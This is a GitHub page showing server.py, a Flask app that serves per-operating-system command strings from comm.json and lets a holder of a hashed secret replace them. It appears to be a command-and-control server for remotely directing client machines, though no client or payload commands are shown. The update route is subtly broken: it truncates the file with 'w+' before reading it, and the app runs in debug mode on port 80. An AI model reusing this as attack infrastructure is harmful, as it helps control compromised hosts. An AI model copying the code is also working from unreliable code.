-
Notifications
You must be signed in to change notification settings - Fork 4
/
server.py
52 lines (46 loc) · 1.6 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from os import read
from flask import Flask,request,jsonify
import json
import hashlib
app=Flask(__name__)
secret_key="3f65226a0c3ef113bc8523d0172ee64b59cc45d7f6081e815ea212af5652dfd6" #doyal_baba
@app.route("/latest/",methods=["GET"])
def hostCommand():
commands=json.loads(open("./comm.json").read())
if request.args.get("os")=="Windows":
return commands["Windows"]
elif request.args.get("os")=="Linux":
return commands["Linux"]
elif request.args.get("os")=="Darwin":
return commands["MacOS"]
else:
return commands["Others"]
@app.route("/update/",methods=["POST"])
def updateCommand():
try:
if hashlib.sha256(request.json["secret"].encode()).hexdigest()==secret_key:
with open("./comm.json","w+") as handle:
d=json.load(handle)
if "Windows" in request.json:
d["Windows"]=request.json["Windows"]
if "Linux" in request.json:
d["Linux"]=request.json["Linux"]
if "MacOS" in request.json:
d["MacOS"]=request.json["MacOS"]
if "Others" in request.json:
d["Others"]=request.json["Others"]
json.dump(d,handle)
return jsonify({
"success":True
}),200
else:
return jsonify({
"success":False
}),503
except KeyError:
return jsonify({
"msg":"SECRET_KEY not provided.",
"success":False
}),503
if __name__=="__main__":
app.run(port=80,debug=True)